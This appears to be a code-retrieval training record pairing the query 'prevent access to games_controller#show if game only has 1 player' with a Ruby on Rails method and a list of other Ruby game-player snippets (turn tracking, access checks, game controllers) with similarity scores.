"def can_play?( player_id )\n player = Player.find(player_id) if player_id\n return true if not restricted or (player and player.admin)\n found = RestrictedGamePlayerList.find( :first, :conditions => ['fk_game_id = ? and fk_player_id = ?', id, player.id ]) if player\n found ? true : false\n end",
"def set_player\n @player = Player.find(params[:id])\n if @player.game != @game\n redirect_to game_players_path, alert: \"Player #{params[:id]} does not belong to Game #{@game.id}.\"\n end\n end",
"def claimed_route_for_game(game)\n route_claims.joins(:player).merge(game.players).first\n end",
"def min_players\n # Implementing classes should override\n 0\n end",
"def winner\n<<<<<<< HEAD\n @winner_player\n end",
"def won_by?(player)\n\t\tcase player\n\t\twhen :hunter\n\t\t\tif players_within_distance?\n\t\t\t\t\"CAPTURE\"\n\t\t\telsif @prey.time_taken > $time_limit\n\t\t\t\t\"TIMEOUT\"\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\twhen :prey\n\t\t\tif players_surrounded?\n\t\t\t\t\"ESCAPE\"\n\t\t\telsif hunter_trapped?\n\t\t\t\t\"ESCAPE\"\n\t\t\telsif @hunter.time_taken > $time_limit\n\t\t\t\t\"TIMEOUT\"\n\t\t\telse\n\t\t\t\tfalse\n\t\t\tend\n\t\tend\n\tend",
"def games_player_params\n params.permit(:game_id, :player_id)\n end",
"def human?\n return self.class == Player\n end",
"def countPlayerPieces(owner)\n # well im pretty sure the design team is braindead.\n # I dont think i can write this without clarification of the nature of player\n # Maybe need new methods in player or does it really want me to call validateOwner\n # like 4 dozen times and then how do i get at their hand\n # Am i counting their hand or just the ones on the board\n \n end",
"def game_owner?\n self == game.owner if game.winner.nil?\n end",
"def index\n @players = @game.players\n end",
"def index\n @players = @game.players\n end",
"def current_player\n x_count = self.board.cells.count {|token| token == \"X\"}\n o_count = self.board.cells.count {|token| token == \"O\"}\n if (x_count + o_count).even?\n player_1\n elsif (x_count + o_count).odd?\n player_2\n end\n end",
"def player_in_lobby\n lobby.player(self) rescue false\n end",
"def current_player_move\n @on_move == HUMAN_PLAYER ? human.move : computer.move\n end",
"def current_player\n players.first\n end",
"def next_player\n if @next_player\n elsif game && (@next_player = game.players.find{|p| self.next_player_id == p.id})\n else\n @next_player = super\n end\n return @next_player\nend",
"def game_over(player)\n #combinaisons gagnantes\n vic_combi = [[0,1,2], [3,4,5], [6,7,8], [0,3,6], [1,4,7], [2,5,8], [0,4,8], [2,4,6]]\n #verifie si les cases occupées le sont par le meme joueur\n vic_combi.each do |victorious_case|\n if @board.board[victorious_case[0]].case_value + @board.board[victorious_case[1]].case_value+ @board.board[victorious_case[2]].case_value == player.symbol * 3\n return player\n end\n end\n return false\n end",
"def cards_played(player) \n @played[player]\n end",
"def whose_turn\n self.advance_turn unless self.active_slot\n game_players.joins(:slot).joins(:game).where('games.active_slot = slots.sequence').first.player\n end",
"def controller\n\t\ttemp_board = @board.duplicate_board\n\t\t@last_cpu_board = @board.duplicate_board\n\t\treturn nil if current_player.is_bot != false\n\t\trow, column = @board.pixel_to_board(@window.mouse_x, @window.mouse_y, 0, 0)\n\t\treturn nil if !@selected_piece.is_legal_move?(row, column)\n\t\ttemp_board = @board.duplicate_board\n\t\t@selected_piece.move_to(row, column)\n\t\twinner = check_winner\n\t\tif winner == nil\n\t\t\tswitch_player\n\t\telse\n\t\t\t$game_winner = winner.color\n\t\t\tif @current_player.color == winner.color\n\t\t\t\tif @standby_player.is_bot == :rote\n\t\t\t\t\t@rote_learner.add_board(@last_cpu_board, @standby_player)\n\t\t\t\tend \n\t\t\telsif @standby_player.color == winner.color\n\t\t\t\tif @current_player.is_bot == :rote\n\t\t\t\t\t@rote_learner.add_board(@last_cpu_board, @current_player)\n\t\t\t\tend\n\t\t\tend\n\t\t\tsleep 0.5\n\t\t\[email protected]\n\t\tend\n\t\tputs @rote_learner.bad_states.size\n\t\tcpu_controller if @current_player.is_bot != false\n\t\t@selected_piece = nil\n\tend",
"def show\n @game = Game.find(params[:id])\n @czar = current_user.id == @game.czar_id\n @czar_user = @game.czar\n @player = @game.hands.where(user_id: current_user.id).first\n @white_cards = @player.white_cards if @player and !@czar\n\n # Need to grab submissions corresponding to last round\n @winning_cards = @game.submissions.where(round: @game.round - 1)\n @winning_player = @winning_cards.first.user.email if @winning_cards.length > 0\n @submissions = Submission.where(game_id: @game.id).order(id: :asc)\n\n respond_to do |format|\n if @player and not @game.finished\n format.html # show.html.erb\n format.json {\n render json: {\n game: @game.as_json(only: [:finished, :round]),\n black_card: @game.black_card.as_json(only: :num_blanks, include: {content: {only: :text}}),\n player: @player,\n players: @game.users.collect { |u|\n { email: u.email, submissions_left: u.hands.where(game_id: params[:id]).first.submissions_left }\n }.as_json,\n czar: {\n email: @czar_user.email,\n self: @czar\n },\n winner: {\n email: @winning_player,\n cards: @winning_cards.as_json(include: {content: {only: :text}})\n }\n }\n }\n else\n format.html { redirect_to games_path }\n format.json { render json: { message: 'You have not joined this game' }, status: :error }\n end\n end\n end",
"def belongs_to_competition\n\t\tcompetition=Competition.find(params[:id])\n\t\tunless competition.users.include?(current_user) || (competition.users.count < competition.n_players && competition.started_at.nil?)\n\t\t\tflash[:danger]=\"This competition is already full !!!\"\n\t\t\tredirect_to competitions_path\n\t\tend\n\tend",
"def acting_player\n return parent.state.current_player unless parent.nil?\n -1\n end",
"def game_screen_inputs(player)\n\n movement_index = 0 # used to track switch cases\n if @game_settings.p1_init\n player.player_controls.each do |control|\n unless button_up? control\n movement_index += 1\n else\n break\n end\n end\n\n # Determines movement\n case movement_index\n when 0\n player.move_left @playing_cards\n when 1\n player.move_right @playing_cards\n when 2\n player.move_up @playing_cards\n when 3\n player.move_down @playing_cards\n when 4\n player.selection @playing_cards\n else\n nil\n end\n\n # Checks the validity of a set.\n if player.chosen_cards_indexes.length == 3\n player.chosen_set_validity! @playing_cards\n if player.set_found\n @hint.clear\n player.set_timer.update_time\n player.set_times.push player.set_timer.current\n player.score += 1\n player.set_times.sort!\n\t player.time_sum += player.set_timer.current\n player.set_timer.reset\n else\n player.clean_slate\n\t player.score -= 1\n end\n end\n end\n\n # Check if table valid\n if @deck.deck_count < 9 and valid_table(@playing_cards).length == 0\n\n @game_settings.current_screen = \"gameover\"\n @settings_hovered = Options::GAMEOVER_SCREEN[0]\n return\n end\n\n if @game_settings.are_hints_enabled and button_up? Gosu::KB_H\n @hint = player.get_hint @playing_cards\n end\n end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def player; end",
"def win(player)\n player.win(@bank)\n\n player\n end",
"def check_current_player\n @current_player += 1\n @current_player = 0 if @current_player == @players.length\n puts \"Player is now #{@players[@current_player]}\"\n @current_player\n end",
"def control(player_choice) \n if @game_over == false\n @game.make_move(@game.current_player, player_choice) \n if @game.win? \n @game.print_grid\n puts print_name(@game.win?) + \" gets \" + pink(\"cake\") + \", the loser will not be \" + pink(\"reformated into cake ingredients.\")\n @game_over = true\n elsif @game.tie? \n @game.print_grid\n puts \"It seems that you are both \" + pink(\"equally dumb\") + \". And probably \" + pink(\"equally flamable.\")\n @game_over = true\n else \n if @game_mark == \"player\" \n assign_player\n start_turn\n elsif @game_mark == \"AI\" \n \n if @game.current_player == \"O\" \n assign_player \n @AI.make_move \n elsif @game.current_player == \"X\" \n assign_player \n start_turn \n end\n else \n raise \"Game mark Error\".inspect\n end\n end\n end\n end",
"def update\n # Allow updates only of pending games\n if @game.completed?\n head :forbidden\n return\n end\n \n user_id = user_session.current_user.id\n game_params = params.require(:game).permit(:player2_id, :status)\n \n # Register a player's resignation or add a second player according to the parameters\n # received.\n if game_params[:status]\n # Allow status updates only of ongoing games\n unless @game.ongoing?\n head :forbidden\n return\n end\n \n case game_params[:status].to_i\n when Game::P1_FORFEIT\n # Permit resignation of player 1 only by player 1.\n unless user_id == @game.player1.id\n head :forbidden\n return\n end\n @game.player1_forfeits\n when Game::P2_FORFEIT\n # Permit resignation of player 2 only by player 2.\n unless user_id == @game.player2.id\n head :forbidden\n return\n end\n @game.player2_forfeits\n \n else\n # Forbid updates to status other than resignations.\n head :forbidden\n return\n end\n \n elsif game_params[:player2_id]\n player2_id = game_params[:player2_id].to_i\n \n # Forbid setting second player if second player already exists or if current\n # user is different from would-be second player.\n unless @game.player2_id.nil? && user_id == player2_id\n head :forbidden\n return\n end\n \n @game.update!(player2_id: player2_id)\n \n # Broadcast message to clients directing them to update their lists\n # of waiting games.\n ActionCable.server.broadcast 'waiting_games', action: 'remove_game',\n user_id: user_id,\n game_id: @game.id\n else\n # Respond with bad-request status code if user does not try to update status or\n # add a second player.\n head :bad_request\n return\n end\n \n # Broadcast notice of game update to clients along with current game status.\n GameChannel.broadcast_to @game, user_id: user_id, status: @game.status,\n action: 'update_game'\n \n respond_to do |format|\n format.html { redirect_to @game }\n format.json { render :show, status: :ok, location: @game }\n end\n end",
"def current_player\n self.board.turn_count.even?? self.player_1 : self.player_2\n end",
"def current_player\n @players.first\n end",
"def game_engine\n\t\tif @ai_on == true\n\t\t\tgame_with_ai\n\t\telse\n\t\t\t@player_two = 'black'\n\t\t\tgame_with_two_players\n\t\tend\n\t\tannounce_winner\n\t\tend_of_game\n\tend",
"def game_over\n remaining_player.count == 1\n end",
"def player_win\n @player_win += 1\n end",
"def opponent_of(the_player)\n the_player == player_1 ? player_2 : player_1\n end",
"def play_game_with_current_moves\n winners = get_games_winners\n save_winners(winners) unless winners.nil?\n winners\n end",
"def show\n @categories = ['action', 'adventure', 'arcade', 'fps', 'racing', 'role-playing']\n if @game.nil?\n @game = Game.find session[:current_game_id]\n end\n if session[:question_viewed] && @game.steal_question_ids.eql?('')\n session[:question_viewed] = false\n end_turn\n redirect_to games_path\n else\n @current_opponent = User.find_by email: @game.opponent_user_email\n @game.save!\n session[:current_game_id] = @game.id\n if [email protected]_question_ids.eql? ''\n flash[:notice] = 'You opponent is trying to steal your ' + @game.bet_piece + ' piece. Answer more than ' + @game.opponent_steal_correct.to_s + ' question(s) correct to fend off the opponent.'\n redirect_to steal_piece_path\n end\n @won_games = Game.where(:user_email => current_user.email).where(:opponent_user_email => @current_opponent.email).where(:is_game_over => true)\n @lost_games = Game.where(:opponent_user_email => current_user.email).where(:user_email => @current_opponent.email).where(:is_game_over => true)\n end\n end",
"def pass_player_turn\n @active_player_idx += 1\n if @active_player_idx == @players.length\n @active_player_idx = 0\n end\n end",
"def set_gameplayer\r\n @gameplayer = Gameplayer.find(params[:id])\r\n end",
"def at_max_players?\n self.player_count == MAX_PLAYERS\n end",
"def action_useCard(pockerCard_id)\n\n if check_cardOwn(pockerCard_id) and check_currentTurn()#only owner can play card and current turn on\n if check_usableNumShape(pockerCard_id) #check bottom number and shape\n\n sourcePlayer_id = Game.last.players.by_user(current_user).id\n destPlayer_id = Game.last.players.dummy.id # destPlayer_id = 2 (dummy) \n\n action_moveCard(dest_id: destPlayer_id, source_id: sourcePlayer_id, card_id: pockerCard_id)\n\n #check effect of cards\n card_effect = Pockercard.find(pockerCard_id).effect\n action_addDummyList(pockerCard_id)\n action_putBottomCard(pockerCard_id)\n if card_effect == \"none\"\n action_endTurn(1) #move to next player=[\n elsif card_effect == \"back\" \n Game.last.toggle_order!\n action_endTurn(1) #skip next player\n elsif card_effect == \"jump\" \n action_endTurn(2) #move to next next player\n elsif card_effect == \"attack\"\n action_attackCard(pockerCard_id)\n action_endTurn(1) #move to next next player\n elsif card_effect == \"change\"\n action_setBottomCardStep()\n elsif card_effect == \"onemore\" \n else\n action_endTurn(1) #skip next player\n end\n check_winOrLose() \n end\n end\n\n\n\n end",
"def Winner?(player)\r\n end",
"def alive_in_game?(game)\n game.players.select { |player| player.role == \"player\"}.map(&:user_id).include?(id)\n end",
"def current_player\n @players.first\n end",
"def current_player\n if board.turn_count.odd?\n player_2\n elsif board.turn_count.even?\n player_1\n end\n end",
"def change_player\n\n end",
"def set_game_player\n @game_player = GamePlayer.find(params[:id])\n end",
"def opponent_board\n boards.opponent.first\n end",
"def current_player_effect\n # Retire 1 au nombre de cartes a piocher du joueur en cours\n if @current_player.draw_card_count >= 1\n @current_player.draw_card_count -= 1\n end\n # Enleve une carte mixed de la main du joueur en cours\n @current_player.cards.delete_at(@current_player.cards.index(\"lock_down\"))\n end",
"def start_game(player)\n if @role == \"player\"\n computer_game(player)\n else\n player_game(player)\n end\n end"
] | [
"0.65689635",
"0.6212366",
"0.61340874",
"0.61209697",
"0.6078557",
"0.60002",
"0.5956228",
"0.5938254",
"0.59305",
"0.59267",
"0.59123325",
"0.5900585",
"0.58894366",
"0.58854866",
"0.5842493",
"0.583254",
"0.5829133",
"0.5815144",
"0.5793604",
"0.5793427",
"0.5793223",
"0.5775281",
"0.5765293",
"0.5756502",
"0.57501733",
"0.57407725",
"0.5739903",
"0.57363063",
"0.5728348",
"0.5718094",
"0.57064754",
"0.5702277",
"0.56909096",
"0.56859386",
"0.5684264",
"0.5679014",
"0.5669574",
"0.5669066",
"0.5667391",
"0.56662315",
"0.56613755",
"0.5660881",
"0.56569046",
"0.5655571",
"0.56532836",
"0.56468356",
"0.564503",
"0.5643524",
"0.5641526",
"0.5627705",
"0.56271595",
"0.5623878",
"0.5623138",
"0.5622889",
"0.5622889",
"0.5617607",
"0.5612126",
"0.5603746",
"0.56018484",
"0.560109",
"0.5601015",
"0.5598352",
"0.559726",
"0.5595702",
"0.559565",
"0.5592408",
"0.5589918",
"0.5586439",
"0.55827945",
"0.55827945",
"0.55827945",
"0.55827945",
"0.55827945",
"0.55827945",
"0.55827945",
"0.5582284",
"0.5573129",
"0.557039",
"0.55648",
"0.5563716",
"0.5562743",
"0.55626744",
"0.5557253",
"0.55552673",
"0.5553978",
"0.5546403",
"0.554545",
"0.55438787",
"0.5540369",
"0.55365616",
"0.5533692",
"0.55321825",
"0.5530499",
"0.55283374",
"0.55245495",
"0.5523662",
"0.5522979",
"0.5520267",
"0.552024",
"0.5516032"
] | 0.6233966 | 1 |
Prevent access to games_controllershow if game only has 1 player | def new_game?
return if @game.black_player_id
flash[:alert] = "Sorry, you have to join the game first"
redirect_to games_path
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def own_game?\n return unless @game.black_player_id\n return if @game.white_player_id == current_user.id || @game.black_player_id == current_user.id\n\n flash[:alert] = \"Sorry, you're not a player in that game\"\n redirect_to games_path\n end",
"def must_be_my_turn\n @game = Game.find(params[:game_id])\n @player = Player.find(params[:id])\n unless @game.turn_player == @player\n render nothing: true, status: :forbidden\n end\n end",
"def check_has_no_game\r\n @game = @user.game\r\n redirect_to action: :start_game if @game.present?\r\n end",
"def allowed_player\n player = Player.where(id: params[:player_id], access_code: params[:access_code]).take\n if player == nil\n render nothing: true, status: :unauthorized\n return\n end\n \n # If player doesn't have player identifier set yet, set it\n if player.uniqkey == nil\n player.uniqkey = params[:uniqkey]\n player.save\n else\n if player.uniqkey != params[:uniqkey]\n render nothing: true, status: :unauthorized\n return\n end\n end\n end",
"def new_player_allowed?; false end",
"def set_game\n @game = Game.find(params[:id])\n if current_user.nil?\n if @game != current_game_owner.game\n redirect_to root_path, alert: 'No tiene permiso para acceder a este juego'\n end\n end\n end",
"def player_1_actual\n unless self.player_1_id == nil || User.all.include?(self.player_1)\n errors.add(:no_player_1, \"Sorry, Player 1 is not a user we recognise.\") \n end\n end",
"def not_in_competition\n\t\tif current_user.competition_id.present? && !current_user.admin?\n\t\t\tcompetition=Competition.find(current_user.competition_id)\n\t\t\tif competition.problems.include?(current_problem) && !competition.finished?\n\t\t\t\tflash[:danger]=\"You cannot see this problem while in competition!!!\"\n\t\t\t\tredirect_to competition_path(competition)\n\t\t\tend\n\t\tend\n\tend",
"def check_auth\r\n if current_user == nil || @user.id != current_user.id\r\n redirect_to root_path , alert: \"Can't Access A Game That Does not belong to you.\"\r\n end\r\n end",
"def set_game\n @game = Game.find(params[:id])\n unless @logged_in and @logged_in.update_site?\n @game.readonly!\n end\n end",
"def player_in_ongoing_game\n ongoing_game.player(self) rescue false\n end",
"def set_player\n @player = Player.find(params[:id])\n if @player.game != @game\n redirect_to game_players_path, alert: \"Player #{params[:id]} does not belong to Game #{@game.id}.\"\n end\n end",
"def player_of_game(game)\n game.player(self)\n end",
"def prevent_user(user)\n if user.nil? or session[:user_id] != user.id\n redirect_to game_path\n end\n end",
"def can_play?( player_id )\n player = Player.find(player_id) if player_id\n return true if not restricted or (player and player.admin)\n found = RestrictedGamePlayerList.find( :first, :conditions => ['fk_game_id = ? and fk_player_id = ?', id, player.id ]) if player\n found ? true : false\n end",
"def game_status\n @player = Player.find(params[:id])\n\n # unless @player.is_boss?\n # redirect_to :root, :notice => \"Sorry, the game is closed right now. Please try again later.\"\n # return false\n # end\n end",
"def identification_required?\n !(controller_name == \"championships\" && action_name == \"show\")\n end",
"def players_allowed_to_play\n return if self.manager.nil? || self.players.nil?\n\n self.players.each do |p|\n unless p.tournaments.include? self.manager\n errors.add(:match, \"players must be in same tournament as match\")\n end\n end\n end",
"def check_host\n unless @game.host == current_user\n render( :status => :unauthorized,\n :text => \"Cannot %s a game you didn't create.\" % params[:action])\n return false\n end\n return true\n end",
"def show\n @game = Game.includes(:drawn_cards).where(id: params[:id]).first\n game_owner_only!\n end",
"def belongs_to_competition\n\t\tcompetition=Competition.find(params[:id])\n\t\tunless competition.users.include?(current_user) || (competition.users.count < competition.n_players && competition.started_at.nil?)\n\t\t\tflash[:danger]=\"This competition is already full !!!\"\n\t\t\tredirect_to competitions_path\n\t\tend\n\tend",
"def own?(game)\n # current_user.games.find(id: game.id)\n end",
"def not_in_competition\n\t\tif current_user.competition_id.present? && !(current_user.competition_id==params[:id].to_i)\n\t\t\tflash[:danger]=\"You cannot participate in more than one competitio at a time!!!\"\n\t\t\tredirect_to competition_path(current_user.competition_id)\n\t\tend\n end",
"def new_player_required?; false end",
"def game_over\n remaining_player.count == 1\n end",
"def not_played_by?(player)\n opponent?(player) ?\n opponent_moves.last.opponent_choice.nil? :\n player_moves.last.player_choice.nil?\n end",
"def require_owner\n @course = Course.find_by_id(params[:id])\n if (!@course || @course.user != current_user)\n redirect_to :root, notice: 'Not yours. Pas touche.' \n end\n end",
"def check_user_play\n @play = GamePlay.where('game_id = ? AND user_id = ?', params[:game_id], request.env['HTTP_USER_ID'])\n if @play.empty?\n render json: { message: 'need to add play' }\n else\n render json: { message: 'need to update play' }\n end\n end",
"def show\n # before_action\n @games = @player.games\n end",
"def check_player\n if self.moves == nil or self.moves.length % 2 == 0\n @current_player = 1\n else\n @current_player = 2\n end \n end",
"def show\n authorize! :show, @game_type, :message => 'Not authorized as an administrator.'\n end",
"def viewing_players_tab?\n ! viewing_scouts_tab?\n end",
"def game\n game_id = params[:game_id].to_i\n if game_id != 0\n @game = Game.find(game_id)\n unless @game.active?\n flash.notice = 'The game is over.'\n back_to_index\n end\n unless @game.players_turn?(current_user.id)\n back_to_index\n end\n @opponent = @game.opponent(current_user.id)\n if @game.challenge_round?\n ask_another_question(@game.id)\n end\n end\n end",
"def mystic_wolf_view_player(m, view)\n if @game.started? && @game.waiting_on_role_confirm && @game.has_player?(m.user)\n player = @game.find_player(m.user)\n \n if (player.mystic_wolf? || (player.doppelganger? && player.cur_role == :mystic_wolf))\n target_player = @game.find_player(view)\n if player.confirmed?\n User(m.user).send \"You have already confirmed your action.\"\n elsif target_player.nil?\n User(m.user).send \"\\\"#{view}\\\" is an invalid target.\"\n elsif target_player == player\n User(m.user).send \"You cannot view yourself.\"\n else\n player.action_take = {:mysticwolfplayer => target_player} \n player.confirm_role\n User(m.user).send \"Your action has been confirmed.\"\n self.check_for_day_phase\n end\n else\n User(m.user).send \"You are not the MYSTIC WOLF.\"\n end\n end\n end",
"def restrict_access\t\n\t\tif current_user.owner == false\n\t\t\tredirect_to user_path(current_user), notice: \"You can't view this page, contact your box owner\"\n\t\tend\t\n\tend",
"def player_in_lobby\n lobby.player(self) rescue false\n end",
"def check_current_game\n if current_game.nil?\n flash[:error] = \"You must be in a game to do that...\"\n redirect_to lobby_path\n end\n end",
"def onalg_player_cardsnot_allowed(player, cards)\r\n lbl_card = cards[0]\r\n log \"#{player.name} ha giocato una carta non valida [#{nome_carta_ita(lbl_card)}]\\n\"\r\n @player_on_gui[:can_play] = true\r\n end",
"def index # this is actually an edit permissions page\n @game = Game.find(params[:game_id])\n end",
"def easy_win(player)\n win if player.points == 4 && player.opponent.points < 3\n end",
"def no_convocateds\n self.players.no_convocated\n end",
"def set_game\n @game = Game.includes(game_players: %i[force user]).find(params[:id])\n end",
"def set_game_safe\n @game_safe = GameSave.find(params[:id])\n end",
"def show\n user = user_session.current_user\n user_id = user.id\n \n # Forbid access to users who are not participants in this game.\n unless user_id == @game.player1_id || user_id == @game.player2_id\n head :forbidden\n return\n end\n \n if @game.pending?\n @next_play_number = @game.next_play_number\n @new_game = nil\n else\n @new_game = Game.new(player1_id: user_id)\n end\n \n @opponent = user_id == @game.player1_id ? @game.player2 : @game.player1\n @pair_record = user.game_record(@opponent) if @opponent\n end",
"def game_over?\n remaining_players == 1\n end",
"def set_game\n\n if admin_signed_in?\n\n @game = Game.find(params[:id])\n\n else\n\n redirect_to root_url # halts request cycle\n flash[:error] = \"Get out of here - Beat it! -- You heard me\"\n end\n\n end",
"def check_if_user_owns_bowling_game\n bowling_game = BowlingGame.where(user_id: current_user.id, id: params[:id]).take\n if !bowling_game\n redirect_to bowling_games_path\n else\n @bowling_game_id = params[:id]\n end\n end",
"def show\n game = Game.find_by(id: params[\"id\"])\n user = game.user_id\n if user == session[:user_id]\n render :layout=>'game_layout'\n else\n redirect_to \"/games\", notice: \"You are not allowed to see this game\"\n end \n\n end",
"def validate_player\n \t@player = Player[params[:player_id]]\n if @player.nil?\n render_error(Error::NORMAL, \"Invalid player id\") and return\n end\n end",
"def restrict_access\n render :\"/home/http_404\" unless @pet && @pet.user == current_user\n end",
"def is_dungeon_master_user\n\t game = Game.find_by id: params[:game_id]\n\t if game.nil? or !dungeon_master?(game.dungeon_master)\n\t \tredirect_to(root_url) \n\t end \n\t end",
"def validate_game!\n render json: { error: \"game not found\" } , status: 404 unless current_user.games.include?(game)\n end",
"def current_player\n Player.find(player_turn) unless player_turn.nil?\n end",
"def suicide\n @user = User.find(params[:id])\n if @user == current_user && [email protected]_games.find(:all, :conditions => {:id => params[:game]}).empty?\n @user.suicide_in(params[:game])\n flash[:notice] = \"Du bist jetzt tot. Herzlichen Glückwunsch.\"\n redirect_to :back\n end\n end",
"def check_instance_permissions\n unless @bot_instance.user == current_user || current_user.is_owner?(@bot_instance.bot) || current_user.is_admin?\n render status: :forbidden, plain: \"You're not allowed to modify this instance\" and return\n end\n\n render status: :forbidden, plain: 'This instance does not belong to this bot.' and return unless @bot_instance.bot_id.to_s == params[:bot_id]\n end",
"def validate_player\n msg = \"teams must not share the same player\"\n errors[:base] << msg if share_player?\n end",
"def is_computer_playing? game\n game_users_ids = game.user_games.map(&:user_id)\n game_users_ids.include? User::COMPUTER_ID\n end",
"def pbCriticalOverride(attacker,opponent)\n return false\n end",
"def check_for_active_game\n # TODO\n end",
"def human_turn?\n @current_player != @computer_player\n end",
"def right_player?\n current_player == Player.find(@piece.owner)\n end",
"def check_novel_user\n owner = Novel.friendly.find(params[:id]).user\n unless owner == current_user || current_user.is_admin?\n store_location\n flash[:error] = 'You are not authorized to perform this action.'\n redirect_to login_path\n end\n end",
"def losing_players\n if player_1.hit_points <= 0\n player_1\n elsif player_2.hit_points <= 0\n player_2\n end\n end",
"def won_game(player)\n if player.advantage\n player.win = true\n player.games_won += 1\n won_set(player)\n reset_scores\n elsif player.points > 3 and player.opponent.points < 3\n player.win = true\n player.games_won += 1\n won_set(player)\n reset_scores\n end\n end",
"def exclusive_play\n if(player2_move == player1_move)\n self.errors.add(:player1_move, \" only one player can play a move\")\n end\n end",
"def created_game?(game_id)\n not Game.where(:id => game_id, :author => self.username).empty?\n end",
"def show\n @game.group = @group\n authorize @game\n end",
"def game_over?\n alive_players.count == 1\n end",
"def add_remove_player( opt )\n return false unless ADD_REMOVE_OPTS.include? opt\n\n if !(params[:player])\n flash[:notice] = \"You did not select a player to #{opt.to_s}.\"\n elsif @game.started?\n flash[:notice] = \"'You can only #{opt.to_s} players to a game before starting.\"\n else\n if params[:player].include? :id\n new_plyr = Player.find params[:player][:id]\n @game.send(ADD_REMOVE_OPTS[opt], new_plyr)\n else\n flash[:notice] = \"You did not select a player to #{opt.to_s}.\"\n end\n end\n redirect_to(game_url)\n end",
"def check_game\n self.game ||= begin\n #TODO get player from last game\n # TODO write test where \"Player 3\" already exits\n player = Player.find_or_create_by(:name => \"Player #{self.slot}\")\n Game.create!(:player => player, :slot => self.slot)\n end\n end",
"def owner_required\n ## before filter for owner of channel. \n if logged_in? && current_user.login == THUMBWEBS_AUTHORIZED_USER\n return true\n else\n flash[:error] = \"Unauthorized Access-Must be logged-in as owner.\"\n redirect_to thumbwebs_root_path\n end\nend",
"def alive_in_game?(game)\n game.players.select { |player| player.role == \"player\"}.map(&:user_id).include?(id)\n end",
"def game_over?\n @players.all? {|p| p.last_turn == \"skipped turn\"} || (@letter_bank.empty? && current_player.rack_empty?)\n end",
"def taken?\n return [email protected]?\n end",
"def game_owner?\n self == game.owner if game.winner.nil?\n end",
"def authorized_player(id)\n player = Player.find(id)\n if logged_in? && player == current_player\n return player\n end\n end",
"def turns_taken(player)\n @players[player]\n end",
"def one_player\n\n if go_first? == true\n game = Game.new(Players::Human.new(\"X\"), Players::Computer.new(\"O\"))\n game.play\n\n else\n game = Game.new(Players::Computer.new(\"X\"), Players::Human.new(\"O\"))\n game.play\n end # inner if\n end",
"def is_current_player(user) \n\t\treturn user.id == self.current_player\n\tend",
"def auth_as_owner\n unless current_user == @vm.lab_user.user or @admin\n respond_to do |format|\n #You don't belong here. Go away.\n format.html { redirect_to root_path , :notice=> 'Sorry, this machine does not belong to you!' }\n format.json { render :json=> {:success => false , :message=> 'Sorry, this machine does not belong to you!'} }\n end\n end\n end",
"def owner_only\n @room = current_user.rooms.find(params[:id]) \n unless current_user == @room.owner\n flash[:alert] = \"Vous ne pouvez executer cette action car vous n'êtes pas le propriétaire de la base\"\n redirect_to admin_rooms_url\n end\n end",
"def bots_not_allowed\n render_403('page') if visitor_is_bot?\n end",
"def get_player_and_game\n # flash[:error] = nil # RWP TEMP - get rid of this if/when flash works correctly\n @sets = []\n @found_set = nil\n return false unless login_to_facebook\n @player = @current_user.player\n if (params[:id])\n @game = Game.find(params[:id])\n @score = Score.find_by_player_id_and_game_id( @current_user.player.id, params[:id] )\n raise Exceptions::UserNotPlayingGame if @score.blank?\n end\n true\n end",
"def developer_can_see_this_project?\n developer = Developer.where(:gamer_id => current_gamer.id).first\n projects_owned = Project.where(:owner_id => developer.id)\n projects_shared1 = developer.projects_shared\n current_project = Project.find(params[:id])\n if !projects_owned.include?(current_project) && !projects_shared1.include?(current_project)\n flash[:error] = t(:developer_cant_see_project)\n redirect_to projects_path\n end \n end",
"def game_play?()\n if self.admin\n return false\n elsif self.team.nil?\n return false\n elsif !self.team_adopt\n return false\n end\n game=Game[self.team.active_game]\n if game.nil?\n return false\n end\n\n if game.run?\n return true\n elsif game.owner?(self)\n return true\n end\n\n return false\n end",
"def any_player_other_than?(player)\n @players.length > 1 || (@players.length == 1 && @players.first != player)\n end",
"def restrict_access\n render :\"/home/http_404\" unless @profile && @profile.user == current_user\n end",
"def at_max_players?\n self.player_count == MAX_PLAYERS\n end",
"def is_dungeon_master_user\n\t game = Game.find_by id: params[:id]\n\t if game.nil? or !dungeon_master?(game.dungeon_master)\n\t \tredirect_to(root_url) \n\t end\n\t end",
"def only_one_ability_at_the_same_time\n unless self.player.trainings.not_finished.count == 0\n self.errors[:base] = I18n.t('training.errors.already_training')\n end\n end",
"def player1\n if self.game_type == 'cvc'\n player1 = Computer.find(self.player1_id)\n else \n player1 = Human.find(self.player1_id)\n end\n return player1\n end",
"def correct_user\n\t\tunless current_user.id == Deck.find(params[:id]).user_id or Deck.find(params[:id]).share == true\n\t\t\tflash[:error] = \"You do not have permission to look at this deck\"\n\t\t\tredirect_to root_path\n\t\tend\n\tend",
"def set_gameplayer\r\n @gameplayer = Gameplayer.find(params[:id])\r\n end",
"def user_is_not_owner\n unless @likeable_obj.present? && @likeable_obj.user_id != current_user.id\n redirect_to @likeable_obj, notice: \"You cannot like your own dog... How sad...\"\n end\n end",
"def load_game\n @game = Game.find params[:id]\n head :unprocessable_entity unless @game\n end",
"def minimum_players?\n self.players.count == MIN_PLAYERS\n end",
"def index\n @games = Game.accessible_by(current_ability, :manage).actual\n end",
"def create\n @game = Game.new(game_params)\n\n @game.player_1_fleet_coords -= [\"\"] if @game.player_1_fleet_coords\n @game.player_2_fleet_coords -= [\"\"] if @game.player_2_fleet_coords\n\n # TODO: Use Action Cable to keep channel open to player_1\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: @game.game_state_message }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_player\n\t\tunless get_player_from_session\n\t\t\treturn redirect('/enter')\n\t\tend\n\tend",
"def game_params\n params.require(:game).permit(:player_1)\n end"
] | [
"0.70175874",
"0.6987618",
"0.6728476",
"0.65005815",
"0.64792496",
"0.6352307",
"0.6317373",
"0.628944",
"0.6278278",
"0.6275177",
"0.62575626",
"0.6241946",
"0.6239661",
"0.6218625",
"0.61633915",
"0.61510944",
"0.6131389",
"0.6130539",
"0.6115731",
"0.60674304",
"0.604357",
"0.6038992",
"0.6036047",
"0.60097593",
"0.5997321",
"0.598571",
"0.59784794",
"0.59693754",
"0.5957285",
"0.5948997",
"0.59332085",
"0.5929784",
"0.59259504",
